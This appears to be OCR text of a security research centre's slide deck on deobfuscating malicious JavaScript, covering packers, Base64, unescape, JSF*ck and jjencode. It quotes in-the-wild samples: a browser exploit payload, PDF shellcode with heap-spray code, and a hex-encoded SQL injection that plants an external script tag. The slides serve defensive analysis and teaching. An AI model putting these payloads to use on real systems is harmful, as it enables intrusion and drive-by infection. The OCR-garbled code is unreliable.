Fun With JavaScript
DeObfuscation
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JavaScript Fun Facts #1
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Java != JavaScript




JavaScript Fun Facts #2

* Only in browsers?
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JavaScript® (sometimes shortened to JS) is a
ightweight, object-oriented language, most
<nown as the scripting language for web
pages, but used in many non-browser

environments as well.

e Executed on client side — Code will be
downloaded and execute on the client

applications
* Obfuscation as protection
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* Obfuscated JavaScript is Everywhere

=) Jeybersecurity|




JavaScript

e Obfuscated JavaScript is Everywhere
— Browser exploit

No Selection

"JavaScript">

ar wSJIDJIwODaxeGVVxTVRufYESPEXTYBL = unescape;
- YkjPggBko = wSIDJIwDaxeGVVXTVRufYESPExXTYBL("
% 423fsufc2f%ud4B49%u964 f%udal
u4340%ud1f5%usB4 fsudb46s

u4b40%u27d6%uded1%u929

u9f9f%ud4a27%u37 fB%u9142%u994a%sufct
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JavaScript

* Obfuscated JavaScript is Everywhere
— PDF Reader Exploit

0O O Desktop 106x37
endobj

5 @ obj

<< /Length 56 >>

stream

BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream

endobj

6 0 obj
<<
/Type /Font
/Subtype /Typel
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj

7 @ obj
<<
/Type /Action
/S [/JavaScript
735 (
function printd() {
var shellcode =
unescape("%uf7d9%uc933%uB3ba%ucl39%ud980%u2474%uSef4%u33b1%u5631%uB317%ul756%u4583%u233d%ub575%u2ad6%ud576
%u4d27%ualdfesuST1l6%ualbdsubTObsue7eesudda7%sul3a2%ub833%uld46b%uc7 f4%ulb4d%sueb@5%uf751%ub8c5%ud52e%sudblasuch
0f%uBabfsu3adB8sudedfsu3101%uct32%uB726%uece8fsubdce8suBBatsud28d%su2344%uB28T%u3Bfasubac7%ub67e%ubbfB8%u7453%u
f2c4%ud4 fdB8%uB5be%u9ed9%u343f%udd75%uf97e%uBf78%u3d46%ufab3sulebckufdlesu3dO6%uBBcdsue59a%u2b8fsula7 fsuada3
%ulaf4%ub928%u3e53%ubeafsulaeBsu9124%ucb3f%ub67e%u909b%ud725%u7cba%ueB88b%sudB8dd%udd74%ucad5%uf761%uBaf4%u7s
74%uedB83%uB577%uS5dBc%ub410%u3207%ud4967%u77c2%uB397%ud14 fsuca30%ub005%ued5dsuabf3%ube58%uS6T6%ubed fsu5373%u
28db%u296 fsudd74%u%eB8fsuf475%ud1f3%u94ebsuedddsu3dfBesud122");
var block = unescape("%u@c@c%udcOc");
var GDagaCuyNfRSFzaSZLO =
unescape ("%uBcBcsudcOcsudcOcsudcOcHsudcOcsuBcOckuBCcOCcHUBCcOCkUS14e%udB65%udB44%u724 fsudabesubd43%udb51%udb79
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JavaScript

* Obfuscated JavaScript is Everywhere
— Injected into Database + Browser Exploit

DECLARE%20@3%20VARCHAR (4000) ; SET%200S=CAST (0x4445434c4152452040542056
41524345415228323535292c404320564152434584152283235352920444543441524
5205461626c655£437572736£7220435552534£5220464£522053454c45435420612e
6e6l16d652c622e6e616d652046524£4A207379736£626a6563747320612c737973636
f6cT756d6e73206220574545524520612e69643d622e69642041424420612278747970
653d27752720414e442028622e78747970653d3939204£5220622e78747970653d333
5204f£5220622e78747970653d323331204£5220622e78747970653dA31363729204£50
454e22054616260c55£437572736£72204645544348204e4558542046524£4d20546162
6eB655£437572736£7220494e544£2040542c4043205745494c45258404046455443485
£5354415455533d302920424547494e204558454328275550444154452050272h4054
2b275d20534554205h272b40432b275A3d525452494d25434£4e56455254255641524
345841522834303030292c5h272h40432b275d29292b27273¢73637269707420737263
3d73646£2e313030306d672e63622£63737273732£772e6a733e302L£7363726970743
e27272729204645544345204e4558542046524£4d205461626c655£437572736£7220
494e2544f2040542c404320454e4420434c4£53452054616260655£437572736£72204
445414c4c4£43415445205461626c655£437572736£7220%20A53%20VARCHAR (4000) )
;EXEC(B3) ;--
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Reported Attack Site!

and has been blocked based on your security preferences.

This web site at webiton.com has been reported as an attack site

computer to attack others, or damage your system.

compromised without the knowledge or permission of their owners.

Get me out of here! Why was this site blocked?

Attack sites try to install programs that steal private information, use your

Some attack sites intentionally distribute harmful software, but many are

lgnore this warning

research centre




Common Type of Obfuscations

 1liner
* Baseb4
* Escape/Unescape




Common Type of Obfuscations

e 1 liner

e O 0O =] lliner.txt

ST TTHITETCHUBI TR THUT2 TeRUI1665Ub1a9MIL 47 THTITLHUTE43XUL5bb
734K T T4HUTOIEHUT 63351 CeBNIBE THIA09BML 39bXUbBAEHIBBHANTET BHUF C1bMU3A4NSI4T

| 3705425355929 7%Ub b THUZbb KU1 9F d49e2593bT HUTE4BHU4 T4e XU 300NUB5E3HTE 3 HUZBACKUZCT IXUBThaNLSBEXILEIT HIZf el Mubel dXITeA4 T2 7454940
| ud2855.6 7e 35Us B 3XIIBANIC 3B N T43HUIIBANUF SBANULI TIHUITF BHUST TTHU4E T K25 IbHUTINBHUIE2ANITT 4bHUL T2 THIZTTSHUBATaRUTLLdXUE23bAUTC2CHU2T Th
| b B5XIB4bBRI4BIZHUL49BHI4T 1EXUTEHINIZIBCHIbIDLHUZOb2HIB5EL KU dS4XULChT HUTB0IMIEbITNTA34 U6 3BXI4E TR C22XUbbBRI42baNU2IbXU4L f IXUCEDh
b HUbEILHITIIIHTL 6% 31 HUBBEEXUbEd4HIIIDbHAL 34HUE2d1 HubB3EHUTIBIHFF 40K T4 2HUTS TBRUEE2E KU BOBHLIEIBEXUF dO3XUbA4BHUbEIDNUL3L4XUbAZEXST b
HUABL1HU2CASHUE4 9K TALANUEBLaNLT 4 THIBACHITE 3R TETE K244
b s e31%Uebc 1 MI3272%U41 F 5HUA4695ULCILMINBIBHIbEITHIIZL THIZ T40%Ub1 1 5HIB525Ub eI 3HUAE20KF c12%U093dNUBdb4RIBC 7dXIZAI TH4E T THUT B ML TCHUT I6b
HUTEIEHUTITINUEOZ1 HIe] 30KUETTEHIDEDEHIF SOZXU4T IANISEEXUTLITHUT FBIXUF dCONUbIS2HIAITANIBIT BT 61851483547 TCHUTAINITI4BHZT 98K9B4a
HU230BHIE2ABNI422C HUBE T THILE T2HUbIE THUBBT HUB4ACHLZTLARUST b1 XIbADIHIADIEHUST bTHUA4DaNUZObEXIET FHUBE4LHUTSebHUbb2dXIE1 34719 THIBH46 5B TD
| U7f d5HU4e3CHITEITHUZELCHU4924 U4 34bHUTA TR C3O%UbAL2AUIB34MUTCeBNIASEbRUT TEIXUF deBRIL1 TaXUTEebNTTTd

Huf C28HUbB4BHULEITHI41 255U T I5HU2T49HLdaBHIZA4b NS BBHUL4TLMIbbATHILTE THIBZE6 XS TA4MUbIT 8BS 321 M4BT 3HUBS43XUST BdXUbeIBNLTeI3HUbE4f

HU3F bEHUSC2E HUTF IBHUBCTHHUZAT2HUL IF BHU4Ee2HUT24 THUIHD4HUE29HU3ITbHUbLF FHUDEIL HUTS 74534 79HUBAIIHILCTANUL24aKU2497HUTBE3HUIE4EHIZCbA
HUb2b4KUTINUE21 BRUAZLDHUTEEL MR ThHUB ST CHULCHEHUAI2E XIS AXIbbD THT435HUTE T THU49T25UT1 0B 4euf 533HUC185HU32eb

HUe3A2HUTC AN THITAZ4HIBE TIHITATEHIbE4aNIBCALHUbE THUF 9B HITE3F Mub315HUNII2HUEE 3NUZT 4THIAE30KI4BD4MUIT beRZ24f MUZCA4NUSITF MUTETIHUI 74D
HU7e9BHIE3LHUT2TEHUBC6KUEBALMINSLAXIBT I6XU2T AN THIBNUDE42%Ub1b2KUIbERIBC T THUTSIL Kuebl 2XUB3L4RUTS f dXUF 81aXud5B4MU99BdNIZdTCHIE Th2%U3b 7d
HU79EHF COBHUE2B1 HUBIEHUSF e1MIFbbeRIL5 71 MU E3ANLbbERIS46XI24 TaNIBIBSU4abAXLI4Ba9HUIbAb4XIbIBC T4 7HULS 44UFL aBHUb BT HU252d

U344 R 3IBNUL2T HUZCICHUAT F dXUbL 66X ANIbEB4HIAb2 MU THIE2T

B 3HIBET FHUL4THILCIFHUBIZHUSTF BHI2I9BHUDLCINUAR3IHUbBABHIITITHIL e THUTHATNUT 4245UB35HIBICINI43TLHUBILLHUL 14356 20bNUAO2ERTS 4F
HLcdBHISTIHUEI0BHUEBELHIEAdIHIEIBERIBTCL MUCEHbHISAEHIEBBIXIBT SeXUT239MUB Td2HUI34e Ul eBIXUCIE1 U6 MUBE2dNUC2F 15U5b2f

Huf b1 MineeBXU3b1BXU4BLCHIS44BHUT I6bHUGL TERUCE2INUTS T4HUTAZEHUT BBF ST SXUF boSHLE2EXUb4b2XUbAdBRIE49dML 281 HUSIF eXuLf ABXIZI3EHUFE2b
HUd2B7HI3E1 a%UedChHUbbI3HU2I15HI241 3541 60%UAIEAKUI2 T 3MUBE1bALBTF 15cebbXe 301 HUB23aKIE T3 THUET 30XU2T 33%Uee54XUSIDNUTHEANSCL THUSF e15UBS3C
HUe400KIBTSANI40L6XI4961KU33T eXUIBLCTHIZOECHI4ETLNUbE TaNUT 6T 3XUbBC3HUF 9BbRUCLE3HUT230%06eCHUS1C2HUSB49%UT BEINUF LFDXUEISIXIIT b4 TE6XIIF C
HUE2E4HU5ETCHUBET 43ULaTIRUF Db2XUIIF 3HUF CETHUI40BHUSF 725a7275U601e ') jvar n=Golnescape("#"+"U"+ 8" +"C"+ 8" +"d"+" 5" +"8" +"c"+"8"+"d" ) ;dofn
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Common Type of Obfuscations

* 1 liner —JS Beautifier €8 http://jsbeautifier.org/

Untitled 2

function spray() {
= Golnescape( " HUBAZCHUB4e2XUTT BdXUB53d 2HUTB425U25675u1 9b4RuBce3KUBC43KUL4eb

HUTEBHRUT2T4HU4T40% 5‘90.!67833@.158339&!986dw3c35m4743$d.1938d?m HUZ3TIHUGTF BRUST TTHU4E6TT HUZEIbXUTIaBHUIE2dHUOT 4b
Hub7275u37755u3d7aMu711d%ue23bRuTc2e 2T TbiubBbSXUB4baRU4E92KU1490%U4 158UT6bIRI240cKUbIb1RIZEb2HIASe1HUf dS4Xulchf
1d630%u4e70!

Bd3ckUTbb3RUTeTT Ku244f Kuf eS1l¥uebc f a598XUbEITHRUIZbTHUZT40KUb115XUBE42KUbe I3 HUdE 2akuf c12Xua93d
HuBdb4RuBCcTdXUZA3THU4eTTHUTaB4RU4b TCRUT 96bRLTEI6RUTITIRUEDZ1 Kuel 3aRUE T TERUbELERUT BOZKU4T 3dXUSbEEXUT1ITHUT f SIXUT deBXUb4928B37a
%uaafamfs13m14e3m477cm76a9m9348m2f9am934axuzsaame2aaxu422cmas77m1572mb367%ub3bfmaqac%uzma

HUbBbI%U4A965U3T b7Xud4BakuZ0beRu35f 9% 21 . . cHU4924%u434bRu747d

Huel885u1471%ubba%ub 76 7HUB2665UB7d4XuUbIT SXUe321 %407 35054 35U BdRubedBRUTeIHUbE4T KUSTbERUSCZT MUTT 9BXUBCTD
HU2a72Hu19f 5XU4eeZiu9247HU3d04XUdE29%399bEUb1 T SXUbEILEUTET4RUZ47IRUSAITRULCTORU4240RU249THUTED3HUIE46KUZCbakubZbesuT 3%
meZiamﬁib%ﬂBeimZb?bmb%c‘m1cbS”JB925%4866mbbb7m7435m’.’577‘m4°77%J718d‘m844e%,|f5 3%uc185%u32eb

b4eiu3d46Ku247akuBde!

HUT497Hud5145u91a5XubSbf Hu252d%u34d4Xub390%U429f KuZc3ckud fdiubl66XU931dRubEB4RI4b2 THU49b THUSEZT
m8d43mb5f9m4147m1099m4892m37f830J2998‘*&Ab1c930Jdaw?&AbSdS%AQ’I’Q"&Ai&G?%A’MdQ‘Wf4%%,!835!3%8403%,!43’1%B311%u114°?w62db

f4f Hulc

5b2f ¥uf b E
HULf aBRUZI35XUT 6ZbXud2a7Hu361akuedcbiubb93; 2915%0241"‘ 4160%UdI60R9273HUB5 10
HUBT3THUef 30XUZT 33XUee54XUShIBRUTHEBRUSCL THUGT e1XUBB3ckue40aXUB95dR 41 6XU4961HUSS eRUBL1CcTHUZ0ecKU4ET1XUbE Takuf 6F 3XUbSC3XUT 98b
Hud163%u7230%u06eckuS1c2XUS349%uf BE9XUT 1T bRUEIS4XUO bekud4766XU99f cRUEZe4XuSeTc

} while (n lpngth < axdaaaa\

function evi{a) {
spray();
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Common Type of Obfuscations

e Baseb4

e OO0 =] base64.txt — Edited
<script=

</scripts=
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Common Type of Obfuscations

e Baseb4

— Using webbased tool to decode the string
e Eg: http://home2.paulschou.net/tools/xlate/

— Scripting kungfu anyone?

ruby —e ‘require "Base64"; puts
Baseb64.decodeb4 ("YWxlcnQoIkhlaCEgOmFzZTYOKCkgPyIpOw==") '
> alert("Huh! Base64() ?");

=) Jeybersecurity|




Common Type of Obfuscations

* Escape/Unescape

_’1 unescape.txt
<3cript=

HEBXZBNT 2HEENE1 %7 3HEF ¥oERZEXNZEXZBX4 9 20%E CHOF
HTOHEDRZOKA SHOTHODHROECKTIHOEHO1H22529%3B" ) )3
</scripts

ST JCugersecuriy| Op1ia
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Common Type of Obfuscations

* Escape/Unescape

— Using webbased tool to decode the string

e Eg: http://www.tareeinternet.com/scripts/
unescape.html

— Yet another scripting kungfu?

irb] Unescape.

' @ unescape.rb » No Selection

#!/usr/bin/ruby
data=ARGV[0]
result=Array.new

data=data.delete(" "
data=data.delete("%

data.scan(/../).each{|a|
result << a.hex.chr

}

puts "[+] decoded string : #{result.to_s}"

|CyberSecurity|
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Modern JavaScript Obfuscations

* javascriptobfuscator.com Obfuscation

* eval(function(p,a,c,k,e,r) Obfuscation

* JSidle Obfuscation
e (+[]) Obfuscation
e S=~[] Obfuscation
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Modern JavaScript Obfuscations

With a lil help from:

— Firebug JavaScript Console
e console.log()

e console.debug() .

e console.info() %bfgl;gEgBulgd

e console.warn() \ J

e console.erro r( ) More info: http://davidwalsh.name/firebug-console-log

— SpiderMonkey
— print()

— alert()

— <textarea>




Modern JavaScript Obfuscations

. javascriptobfuscator.cOm Obfuscation
— Web based + FREE
— Converted to HEX

O O 0O |- javascriptobfuscator-hex.txt

<script=

var _Bx23e5=["Ww3CA\x73\x63\x72\x69 78 \x 74 \x3E\x61\x6C
WBEAXT2 T4 W28 W31 W33 W33 W37 W29 4x 3B \x3C\x2F
WT3NE3ATZ2Ax6 W TANTENNEE" , " W TTWTZ2A\ 6974\ 65" | sdocu
ment [_Bx23e5[1]]{_8x23e5[8] );

</scripts=

=) Jeybersecurity|




Modern JavaScript Obfuscations

* javascriptobfuscator.com Obfuscation

— Convert from HEX manually :P
— Using <textarea>
— Hook the obvious function(s)

=) Jeybersecurity|




Modern JavaScript Obfuscations

« eval(function(p,a,c,k,e,r) Obfuscation
— AKA Edwards Packer
— Web based + FREE

e OO0 =) edwardpacker.txt

A2 String) {while{c-=)r[c]=k[c]| |c;k=[function{e){return
r[e]}];e=function{ {return'\iw

“blee{c)+ 'NAb Y, 'g ),k [e] ) sreturn pr{'L.2(N '<B=3("4 5 6

7" Yi</0=4 )3 ',8,8, 'script |document |write|alert |Lifelis]
getting|tougher '.split{'| '),8,{}))

/\3 || CH??[%YQELA—‘”-”-LA II O IL;_SE;:NUI centre




Modern JavaScript Obfuscations

* eval(function(p,a,c,k,e,r) Obfuscation

— Using <textarea>

— Hook the eval function
e alert()
e console.log()
e print <= for SpiderMonkey

=) Jeybersecurity|




Modern JavaScript Obfuscations

 JSidle Obfuscation
— By Sven T.
— Obfuscation + time factor
— Appearance: HITB magazine, Volume 1, Issue 3

— Proposed (by the author) to be integrated into
Metaspoit

=) Jeybersecurity|




Modern JavaScript Obfusca

e JSidle Obfuscation

- = jsidle.txt
<scripts
var hexcase
(b))\}runctlon mel5 v teat()fleturn
nd5{a){return

b16 ;b++){a[b]=¢ [b] 989522486 ;d [b]=e [b] 1549556828 }var
(plnl nd5{d.concat(g),512+128) )}function rstrzhex{c)
gabedef " jvar b="";var a; for(var d= 8 <C. length d++)

((0&1023)<<10)+(e&1023) d++,1f(a\,127) b+—8tr1ng fromthurCode(u)}else{lf(a\,2847) {be= Strlng fromCharCode(iQZl((a »>6)831),128|
(a<63))}Plsef1f(o<=bSJ¢5)fb+_Jtr1ng fromCharPode(524|((an>>12)&1=) 128|(\as¢ﬁ6\\63) 128|(a&6 ))‘elaP{lr(a<~28971-1){h

%’2)}zeturn a}funcf1on |
return a}function binl (b[k=>5]1=128 \(k)%oZ) p[(((k+64)>>>9)<<4)+14 k jvar 0_1732594193 var n=—2?17338?9,vul
m=-1732584194;var 1=271733878 ;for (var g=0;g<p.length;g+=16){var j=ojvar h=njvar f=m;var e=l;o f{o,n,m,l,p[g+8],
7,-686876936); L0 n,m,p[g+1] 12 {m,l,0,n,p[a+2], 17,6861@q819), {n,m,l,0,p[g+3],
22,-1044525330) ; ff(o Ny, L,p[g+4],7,-176418897); _ff(1,0,n,m,p[g+5],12,1200088426 ) ; _ff(m,1,0,n,p[g+6],
17,-1473231341 ) 3n=mdl5_ £ (n,m, | ,0,p[0+7] ,22 ,~45705983 ) ;0=nd5_f (0,1, L ,p[g+8],7,1778035416 ) ; L=nc5_ £ { | ,0,n,m,p[a+9],
12,-1958414417),m mdS_ff{m,l,0,n,p[g+18],17,-42663) ;h=nd5_ff{n,m,l,0,p[g+11], 42,—199@%4162} d5_ff{o,n,m,l,p[g+12],
7,1804683682);l—md5_ff(l,o,n,m,p[g+13],12,—48341181); d5_ff(m,1,0,n,p[g+14],17,-1502062298) ;n=ndS_ff (n,n, | ,0,p[g+15],
22,1236535329 ) ;0=nd5_gg{o,h,m,  ,p[g+1],5,-16579651); l=ndS_ga{ ,0,n,m,p[0+6],9,-16869581632 ) sm=ndS_ga{m, | ,0,n,p[g+11],
14,643717713 ) sn=nd5_ga(n,n, | ,0,p[g+8] ,20,-373897302 ) ;0=nd5_ga(o,n,m, | ,p[g+5] ,5,-701558691 ); l=ndS_ga(L ,0,n,m,p[g+18],
9,38016083 ) ;m=md5_gg{m, | ,0,n,p[a+15],14,-668478335 ) ;n=md5_gain,m, | ,0,p[g+4],20,-485537848 ) ;0=md5_gg{o,n,m, ,p[g+3],
5,568446438) ; l=nd5_ga{ | ,0,n,m,p [g+14],9,-1619803698 ) sm=ndS_ga{m, | ,0,n,p[0+3],14,-187363961 ) sn=nd5, gg(n,m l,0,p[a+8],
20,1163531501 ) 0=nd5_gg{o,n,m, | ,p[g+13],5,-1444681467); l=nd5_gg{ | ,0,n,m,p[9+2] ,9,-51483754 ) sm=md5_ga{m, | ,0,n,p[g+7],
14,1735328473 ) ;n=ndS_ga(n,m, | ,0,p [g+12] ,28,-1926687734 ) jo=nd5_hh{o,n,m, | ,p[g+5] ,4,-378558) ; L=ndS_hh( [ ,0,n,m,p[g+E],
11,-2022574463 ) ;m=ndS_hh(n, | ,0,n,p [g+11] ,16 1839930562 ) ;n=nd5_hh{n,m, | ,0,p[g+14],23,-35309556 ) 0=md5_hh{o,n,n, L ,p[g+l],
4,-1530992068) ; L=md5_hh{  ,0,n ,m,p[g+4],11,1272893353) ;m=mdS_hh{m, | ,0,n,p[g+7],16,-155497632 ) ;n=nd5_hh{n,m, | ,0,p[g+18],
23,-1894730648 ) ;0=nc5_hh(0,n,m, |, p[g+13],4,6812791743; L=ndS_hh( L ,0,n,m,p [g+8],11,-358537222 ) sm=nd5_hh{n, | ,0,n,p[3+3] »
16,-722521979) ;n=ndS_hh(n,n,  ,0,p [g+6] ,23,76029189 ) ;0=nd5_hh(o,h,m, | ,p[g+9] ,4,-640364487); L=ndS_hh( | ,0,n,m,p[g+12],
11,-421815835 ) sm=md5_hh{m, | ,0,n,p[g+15],16,530742528 ) sn=md5_hh{n,m, | ,0,p[g+2],23,-995338651 ) ;0=md5_ii{o,n,m,l,p[a+8],
6,-198630844 ) ; l=nd5_ii(l,0,n,m,p[g+7?],18,1126891415 ) sm=ndS_ii(m, | ,0,n,p [g+14] ,15,-1416354985 ) sn=nd5_ii{n,m, | ,0,p[g+5],
21,-57434055 ) ;0=nd5_ii(o,n,m, | ,p[g+12] ,6,1708485571); l=nd5_i1(l,0,n,m,p [g+3] ,10,-1894986606 ) sn=nd5_ii(m,,0,n,p[g+10],
15,-1651523) sh=md5_ii{n,m, | ,0,p[g+1],21,-2654922799 ) ;0=nd5_ii{o,n,m, | ,p[g+8],6,1873313359); l=nd5_ii{l,0,n,m,p[g+15],
10,-36611744 ) sm=md5_ii(m, | ,0,n,p[9+6],15,-1566198380 ) ;n=md5_ii{n,m,|,0,p[3+13],21,1369151649 ) ;0=md5_ii{o,n,m,,p[g+4],
6,-145523070 ) l=nd5_ii(l,0,n,m,p[g+11],10,-1126210373) sn=nd5_ii(m, | ,0,n,p[g+2],15,748787259 ) sn=nd5_ii{n,m,|,0,p[g+3],
21,-343485551 ) j0=safe_add{o, ] ) ;n=safe_add{n,h);n=safe_add{m,f ); l=safe_add{l e )}return Array{o,n,m,l)}function
(h,e,d,c,g,f ){return safe_add(bit_rol(safe_add{safe_add(e,h),safe_add(c,f)),q),d)}function md5_ff{g,f ,k,j,e,i,h){return
((f&k)l((~f)& ) g,f,e,i h)}functlon mel5 gg(g,f Kydse,i h){return W (F83 )1 (k&({~i)),9,f ,e,1,h)}function
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Modern JavaScript Obfuscations

e JSidle Obfuscation

— Hook the eval function

e alert()
» console.log()
 print <= for SpiderMonkey

=) Jeybersecurity|




Modern JavaScript Obfuscations

e (+[]) Obfuscation
— AKA JSF*ck Obfuscation
— By Sifoo Yosuke HASEGAWA
— UTF-8.jp guy
— Encode with only 6 letters - [J()!+
— Master of weird symbol based obfuscation
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Modern JavaScript Obfuscations

e (+[]) Obfuscation

sscripts

CRIDLCOILC [+ L0+ [0+ LT+ LD CODD L [0+ L LD 0 0+ L0+ 1D+ [0+ 1+ [T+ [+ LD [+ (14 +
(#0000 [0+ D1+ C L1+ [ 0+ (1T T+ LD 0+ L+ P D+ L [T (0 [+ LT 0C [+ [0 0+ (10O (D]
0O+ 1+ C T+ LD [0+ T+ C T+ T D1+ [+ LD 0+ [T+ [+ 1+ 1]+ (1 [1+
(D010 0+ + [+ D1+ (O LT+ LD [+ 1+ [T+ C L1+ L0+ [0+ 1 [T+ 1 [T+ [T+ DD [+ L]0+ LD
[0+ 1+ CO 001+ D L+ (1 1+ COT 0 [0+ DL+ (1 3+ €O D0+ LI CODDD [+ 1+ [+ [+ [0+ [0+ (1001 + (14!
Q1+ C [T+ DD 01+ L+ LD+ 1+ [ [T+ C L+ LD D+ DT+ LD [+ [0+ D[]+ 1 [T 0+ C L[]+
(D O1+C O+ 00 O+ DD+ O+ T+ LA [+ + [0+ L (113 LI+ LD 0+ [+ 4[]+ (1 + [+ (1D
GO+ + D+ L0 D+ [+ [+ C+ L1+ D T+ 1D [+ [+ [+ [T+ D+ L0 [+ + [T LCLTLC D
D0 1+CC DT+ L CO D L+ [+ L D000+ O+ L1001+ O+ 1+ [T+ L1+ LD D D1+ O+ [0+ LD+ (11 +
(#1031 C O+ [0+ DT+ D0+ 0+ 1 [0+ [0+ C [T+ DD L D0+ 100+ [13+C0Y [11+ LI L0IDD [+ 1+
L 01+C O LD 0+ 0+ + [T+ C O+ LD L 00+ O+ [+ LD L+ [0+ [+ 1+ [ 1+ [+ LD [+ 11110 [+
[+ [+ [T+ COIC00 0+ L1+ 1+ D0+ CH LI+ LD 0+ L+ 4 [0 L LT3+ 0 LD+ L1+ [T+ [T+ [0 [+ 1+ [0+
(O3+ D0+ [+ COLC O+ LD L+ L0+ L1+ LI LI DD [+ 1+ [0+ L D00+ L LD+ D10 [0+ [0+ + [ ]+ (1 + [+ (1D
GO0+ + D+ LD+ [0+ + D1+ L [+ O+ D1+ LD D+ D001+ LD [ (D 1 [T+ 1 [T+ CH [T+ LD [+ (D04 (1]
0 T+ O1+C0 3+ D00 [+ + [+ [+ D 1]+C L1+ L0+ L1+ D0+ D+ LD [+ [+ 1+ [+ (1D
(L0t [+ D0+ Ce [0+ DD [+ LD L [+ L LD+ L+ DD 0+ 1+ D00 CC00+ LD LCOI L [0+ [0 [+
(1+C0 O+ 000 0+ 0+ 011+ L1+ LD [0+ [T+ C [T+ [ [+ [0+ O+ [0+ D[+ [T+ 14 [14 1+
(1+C+ [ [0+ + [+ D0+ L1+ L+ [T+ 1+ LD+ [T+ [T CC! [T+ DD 0 Q11+ C0 D01+ LI CODDD L+ !+ [T+ [+
(11+C I+ D0+ 0+ [T+ C D1+ LD L+ D01+ LD+ LD L+ [T+ 1+ [+ L [T 0+ (L [T+ L1 [+ 1+ 1110 [+ 4[]
+ L (11+CO LT+ LD L DT+ C LD+ 1O 0+ 00+ L [T+ [0+ CH [T+ DD L 1T+ LD+ [0 [+ 1+ [0+ []
(O T+ 00 OI+COTLC Q1+ LD+ L0+ €0 CD0+ LOCCITD [ 1 [0+ [+ DD 03+ (L [T+ LDD [+ [+ [D ]+ (1 [T+ 1D
CrOIT+C O+ LI L+ [0 L1+ [0+ D10 [+ D000+ 1D L+ D04 P [T+ 1 L1340 [T+ LD [+ (114 C1 4[]
L I+ [ 1+ C0 D+ 000D L+ [0+ L+ L0+ O0+ L1 00+ [0+ ]+ 1+ [0+ L1 [+ [0 0+ [T+ L)
[0+ L1+ D0+l [+ LI L P LT DD [ 0 D [+ [DD 0 LT+ LD D P [DDT LC! D+ LDD [+ 00+ [T+ (1D
G+ L0034 Cl [T+ DD CY C1+ LD+ [0+ 0[O0+ LI CCTDD [ 0+ [+ D000+ LT+ DD [+ (] + LD+ (1 [T+ (1D [+
(1+C+ L L0+ [0 0 [T+ LD 1+ C [T+ DD 0 P+ 1T DD L 0 [T D+ LD 1+ (G LD LCOT LE [0+ LD [+ (11T
1+ L0 0+ + 0+ L+ 011+ C L+ LD 0+ 00 1 [T+ [0+ LD [+ LT3+ C T+ LI L+ [T+ 1+ [T 14 [T ]+
L 1+ 010 [ L[] ]+ L0000+ [T+ 0+ [+ L+ [T ]+ € [+ L LC! [+ L1 [+ L1+ 0 LT T+ LI L0T ) [+ + [0+ [+ [11]+(! ]
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Modern JavaScript Obfuscations

e (+[]) Obfuscation

— Hook the function constructor

e alert()
e console.log
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Modern JavaScript Obfuscations

e S=~[] Obfuscation
— AKA jjencode
— By Sifoo Yosuke HASEGAWA
— UTF-8.jp guy
— Encode with symbol

— For some reason, also called as “Dollar sign
encode”
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Modern JavaScript Obfuscations

e S=~[] Obfuscation

=) jiencode.txt
<script=

S s x5 % ST R T ) I RS T S ST R T ) P SRS T 3 5 Y S T 3 I 3
[$1+""I[3], -8 e++3, 888 s 0"+ I [$],8 i+ 8,8 _Fra 8, 88 __ s {{3+"" [B] .88 1443, 888 1448 ,8__ 24
R S AR 3 A T I SR T S O O S R ) DY 6 5 ST P T | N DY (R P I
[$._33]+(3.__=3.3_[$.93_1+(3.5=01""+"" YB3+ (F. =" +"" I[F. 3] +3.5_[3.3_3)+3.__+
R X X SR ] O % ) I SRS SRS i . . 5 3 . ST S | T S O I O T P T P S
P R R PP T T J SR RS, . P S . % S, S S SRRV SR R O S 5. S LD R, (U SR . S TS,
£ SR R O T JI : TN S SR SO 5 0 S ' S S . . S S ) | T S AR RS . % . S .
R SR R AP R P . S . S WAk . 6. ST R, S SR A 4 ST S % SALR TP . S S ST S % S S S
TR o PR O 5 PR AP O S SO B . 5 S5, . . SULA R PR, SO, B, . P o 5 SRR R PR O S 5. SUS.
R SR R, O S S: U 0 5 ST 0 S R (L [ 1 O S P I R T O S S . 5 S 0 S
PR LR 5 SRS TN S L. SR W% . S 3. TS . . % SRR SR W . 5 NS . SR % % SRR S S
SR AL LS. S 5. SO S % S ) | T S S 5 S RS S R % S . S UMY G S ALY
LS. S L S S . SRR PR JU R, . S SR S i 5 % SR AR, . S U R RS SR R, . % R S % %
TR TR RS T o . 5 . S S ) T T S S 5 S LR S S SR L WSS SR S5 5. . S S
R IR R S o 5 JTS: S & LR RS, S, SRS, SO S LS. SO WP N S T, S 6. SR WL, S I 5 ST S 1
kT LR R, . S ST & . S Y S . S PG o P o 0 S o AL P U, S, . % S S, WP S
ERRRRNE P R T R % % LA SR LR I SRS SN LD AR TS S I H

</script=
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Modern JavaScript Obfuscations

e S=~[] Obfuscation

— Hook the function constructor
e alert()
e console.log

— Octal decode in 2" jteration
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That is not the end!

e JavaScript is now full with emotion that can be

express via emoticon

+' ) [C-)+C-D01+ CA) ["o']+(C-"==3) +'_") [0 1;C
A)['_']1=(cAr) [0] [o0];Ce d)=(C-==3)+'_")C[
1+ CA) .0 /+(( a )+ ) M- ) + ( - )]+(( - == 3)

The page at http://utf-8.jp says:
1337

| OK |
e )+ C Jl dL € 1+(CoA_A0) +(0A_7r0))+ (oA ’*o}+ ( Il )[
£ J+(CoA_A0) +(0A_A0))+ (oA o)+ C OO € J+((or_ro) +
(0A_A0))+ (C-) + (0Ar0))+ CADL € 1+(C- ) + CO I+
CO)+ CADL € 1+CC ) + (0A_r0))+ (oAro)+ CADLO DD
cod L")

|CyberSecurity| Sha

MALAYSIA research centre




That is not the end!

e JavaScript aware that you are analyzing them

— userAgent
— chrome://firebug/content/
— chrome://jsdeobfuscator/content/
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